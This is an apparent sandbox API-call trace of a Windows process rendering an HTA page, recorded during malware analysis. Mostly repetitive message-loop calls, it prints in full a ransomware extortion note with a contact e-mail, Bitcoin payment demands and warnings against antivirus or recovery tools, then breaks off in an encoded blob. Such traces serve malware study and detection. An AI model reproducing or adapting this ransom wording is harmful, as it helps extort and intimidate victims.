[0262.114] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0262.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0262.115] GetCurrentThreadId () returned 0x4e0
[0262.115] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0xbb008e, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0262.115] NtdllDefWindowProc_W () returned 0x0
[0262.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0262.115] GetMessageTime () returned 185563
[0262.115] GetMessagePos () returned 0x10b00c8
[0262.115] GetCapture () returned 0x0
[0262.115] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0262.115] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0262.115] GetCurrentThreadId () returned 0x4e0
[0262.115] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0262.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0262.116] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0262.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0262.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0262.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0262.116] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0xbb008e, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0262.116] NtdllDefWindowProc_W () returned 0x0
[0262.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0262.116] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0262.116] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0262.116] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0262.116] GetCurrentThreadId () returned 0x4e0
[0262.116] GetCurrentThreadId () returned 0x4e0
[0262.116] GetCurrentThreadId () returned 0x4e0
[0262.116] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0262.416] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0262.417] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0262.417] GetCapture () returned 0x0
[0262.417] WindowFromPoint (Point=0xc8) returned 0x1013a
[0262.417] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0262.417] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0262.417] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0262.417] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0262.417] GetCurrentThreadId () returned 0x4e0
[0262.417] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0262.729] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0262.729] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0262.729] GetCapture () returned 0x0
[0262.729] WindowFromPoint (Point=0xc8) returned 0x1013a
[0262.729] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0262.729] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0262.729] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0262.729] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0262.729] GetCurrentThreadId () returned 0x4e0
[0262.729] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0263.041] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0263.041] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0263.041] GetCapture () returned 0x0
[0263.041] WindowFromPoint (Point=0xc8) returned 0x1013a
[0263.041] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0263.041] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0263.041] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0263.041] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0263.041] GetCurrentThreadId () returned 0x4e0
[0263.041] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0263.353] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0263.353] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0263.353] GetCapture () returned 0x0
[0263.353] WindowFromPoint (Point=0xc8) returned 0x1013a
[0263.353] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0263.353] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0263.353] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0263.353] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0263.353] GetCurrentThreadId () returned 0x4e0
[0263.353] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0263.665] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0263.665] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0263.665] GetCapture () returned 0x0
[0263.665] WindowFromPoint (Point=0xc8) returned 0x1013a
[0263.665] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0263.665] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0263.665] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0263.665] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0263.665] GetCurrentThreadId () returned 0x4e0
[0263.665] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0263.977] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0263.977] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0263.977] GetCapture () returned 0x0
[0263.977] WindowFromPoint (Point=0xc8) returned 0x1013a
[0263.977] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0263.977] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0263.977] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0263.977] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0263.977] GetCurrentThreadId () returned 0x4e0
[0263.977] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0264.289] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0264.289] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0264.289] GetCapture () returned 0x0
[0264.289] WindowFromPoint (Point=0xc8) returned 0x1013a
[0264.289] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0264.289] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0264.289] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0264.289] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0264.289] GetCurrentThreadId () returned 0x4e0
[0264.289] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0264.601] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0264.601] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0264.601] GetCapture () returned 0x0
[0264.601] WindowFromPoint (Point=0xc8) returned 0x1013a
[0264.601] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0264.601] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0264.601] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0264.601] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0264.601] GetCurrentThreadId () returned 0x4e0
[0264.601] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0264.913] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0264.913] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0264.913] GetCapture () returned 0x0
[0264.913] WindowFromPoint (Point=0xc8) returned 0x1013a
[0264.913] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0264.913] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0264.913] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0264.913] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0264.913] GetCurrentThreadId () returned 0x4e0
[0264.913] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0265.225] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0265.225] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0265.225] GetCapture () returned 0x0
[0265.225] WindowFromPoint (Point=0xc8) returned 0x1013a
[0265.225] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0265.225] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0265.225] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0265.225] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0265.225] GetCurrentThreadId () returned 0x4e0
[0265.225] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0265.543] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0265.543] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0265.543] GetCapture () returned 0x0
[0265.543] WindowFromPoint (Point=0xc8) returned 0x1013a
[0265.543] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0265.543] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0265.543] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0265.543] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0265.543] GetCurrentThreadId () returned 0x4e0
[0265.543] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0265.849] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0265.849] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0265.849] GetCapture () returned 0x0
[0265.849] WindowFromPoint (Point=0xc8) returned 0x1013a
[0265.849] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0265.849] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0265.849] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0265.849] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0265.849] GetCurrentThreadId () returned 0x4e0
[0265.849] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0266.161] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0266.161] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0266.161] GetCapture () returned 0x0
[0266.161] WindowFromPoint (Point=0xc8) returned 0x1013a
[0266.161] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0266.161] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0266.161] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0266.161] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0266.161] GetCurrentThreadId () returned 0x4e0
[0266.161] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0266.473] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0266.473] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0266.473] GetCapture () returned 0x0
[0266.473] WindowFromPoint (Point=0xc8) returned 0x1013a
[0266.473] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0266.473] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0266.473] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0266.473] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0266.473] GetCurrentThreadId () returned 0x4e0
[0266.473] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0266.785] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0266.785] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0266.785] GetCapture () returned 0x0
[0266.785] WindowFromPoint (Point=0xc8) returned 0x1013a
[0266.785] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0266.785] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0266.785] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0266.785] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0266.785] GetCurrentThreadId () returned 0x4e0
[0266.785] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0267.097] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0267.097] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0267.097] GetCapture () returned 0x0
[0267.097] WindowFromPoint (Point=0xc8) returned 0x1013a
[0267.097] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0267.097] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0267.097] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0267.097] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0267.097] GetCurrentThreadId () returned 0x4e0
[0267.097] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0267.409] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0267.409] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0267.409] GetCapture () returned 0x0
[0267.409] WindowFromPoint (Point=0xc8) returned 0x1013a
[0267.409] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0267.409] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0267.409] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0267.409] PtInRect (lprc=0x1cf3f0, pt=0x8e) returned 1
[0267.409] GetCurrentThreadId () returned 0x4e0
[0267.409] GetMessageW (lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0)
Thread:
id = 46
os_tid = 0x61c
Thread:
id = 48
os_tid = 0x6d0
[0099.839] GetCurrentThreadId () returned 0x6d0
[0099.839] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x73130000
[0099.840] CoInitialize (pvReserved=0x0) returned 0x0
[0099.840] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1006) returned 0x496dc0
[0099.841] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x495a50 | out: hHeap=0x450000) returned 1
[0099.841] IInternetProtocol:Read (in: This=0x494768, pv=0x496e88, cb=0xf38, pcbRead=0x281fa2c | out: pv=0x496e88, pcbRead=0x281fa2c*=0xf38) returned 0x0
[0099.841] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2006) returned 0x497dd0
[0099.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x496dc0, cbMultiByte=4096, lpWideCharStr=0x497dd4, cchWideChar=4096 | out: lpWideCharStr="\r\n\r\n \r\n \r\n fiasco911@protonmail.com\r\n\r\n \r\n\r\n \r\n\r\n \r\n \r\n\r\n \r\n \x09\r\n \r\n All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail fiasco911@protonmail.com
\r\n You PC id: 4paNrg
\r\n\x09\r\n \r\n\x09\x09You have to pay for decryption in Bitcoins. The price depends on how fast you write") returned 4096
[0100.999] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b1d20 | out: hHeap=0x450000) returned 1
[0101.000] StrToIntW (lpSrc="9819") returned 9819
[0101.001] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x408) returned 0x4bb4b0
[0101.001] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb2a0 | out: hHeap=0x450000) returned 1
[0101.001] IInternetProtocol:Read (in: This=0x494768, pv=0x4c1634, cb=0x1000, pcbRead=0x281fa2c | out: pv=0x4c1634, pcbRead=0x281fa2c*=0x71f) returned 0x1
[0101.001] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe44) returned 0x4bb8c0
[0101.001] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ba180, cbMultiByte=1823, lpWideCharStr=0x4bb8c4, cchWideChar=1823 | out: lpWideCharStr=" to us. After payment we will send you the decryption tool that will decrypt all your files.\r\n\x09
\r\n\x09\r\n\x09\r\n
Free decryption as guarantee
\r\n\x09\x09
\r\n\x09\x09 - Before payment you can send us 1-3 files for free decryption.
\r\n - Please note that files must NOT contain valuable information.
\r\n - The file size should not exceed 1MB.
\r\n - As evidence, we can decrypt one file
\r\n
\r\n
\r\n\r\n \r\n
How to obtain Bitcoins
\r\n
\r\n
\r\n\r\n \r\n
Attention!
\r\n
\r\n - Do not rename encrypted files
\r\n - Do not try to decrypt your data using third party software, it may cause permanent data loss
\r\n - You are guaranteed to get the decryptor after payment
\r\n - As evidence, we can decrypt one file
\r\n - Do not attempt to use the antivirus or uninstall the program
\r\n - This will lead to your data loss and unrecoverable
\r\n - Decoders of other users is not suitable to decrypt your files - encryption key is unique
\r\n
\r\n
\r\n \r\n") returned 1823
[0101.001] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c3630 | out: hHeap=0x450000) returned 1
[0101.001] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x808) returned 0x4bc710
[0101.001] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb4b0 | out: hHeap=0x450000) returned 1
[0101.002] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x927c0) returned 0x0
[0101.002] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x927c0) returned 0x0
[0102.352] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x108) returned 0x4bec18
[0102.352] StrChrW (lpStart="HTA:APPLICATION", wMatch=0x3a) returned=":APPLICATION"
[0102.353] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f3a8
[0102.353] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x4a05c8
[0102.353] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x4b1998
[0102.353] StrCmpICW (pszStr1="PUBLIC", pszStr2="HTA") returned 8
[0102.353] StrCmpICW (pszStr1="HTA", pszStr2="HTA") returned 0
[0102.353] StrCmpICW (pszStr1="APPLICATION", pszStr2="APPLICATION") returned 0
[0102.353] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xbc) returned 0x495428
[0102.353] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="XMLNS", cchCount1=-1, lpString2="ICON", cchCount2=4) returned 3
[0102.353] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="XMLNS", cchCount1=-1, lpString2="SINGLEINSTANCE", cchCount2=14) returned 3
[0102.353] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x208) returned 0x497518
[0102.353] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="XMLNS", cchCount1=-1, lpString2="SysMenu", cchCount2=7) returned 3
[0102.353] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x495428 | out: hHeap=0x450000) returned 1
[0102.353] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x496210
[0102.353] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496210 | out: hHeap=0x450000) returned 1
[0102.353] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4ba0f0, Size=0x9c) returned 0x495428
[0102.353] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x927c0) returned 0x0
[0102.830] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb430
[0102.830] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x48eed8
[0102.830] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x4b8fb0
[0102.830] IsCharSpaceW (wch=0xd) returned 1
[0102.830] IsCharSpaceW (wch=0xa) returned 1
[0102.830] IsCharSpaceW (wch=0xd) returned 1
[0102.830] IsCharSpaceW (wch=0xa) returned 1
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x62) returned 0
[0102.830] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.830] IsCharSpaceW (wch=0x20) returned 1
[0102.830] IsCharSpaceW (wch=0x7b) returned 0
[0102.830] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8fb0 | out: hHeap=0x450000) returned 1
[0102.830] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48eed8 | out: hHeap=0x450000) returned 1
[0102.830] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb430 | out: hHeap=0x450000) returned 1
[0102.830] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x3222) returned 0x4c3630
[0102.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ba168, cbMultiByte=4096, lpWideCharStr=0x4c4850, cchWideChar=4096 | out: lpWideCharStr="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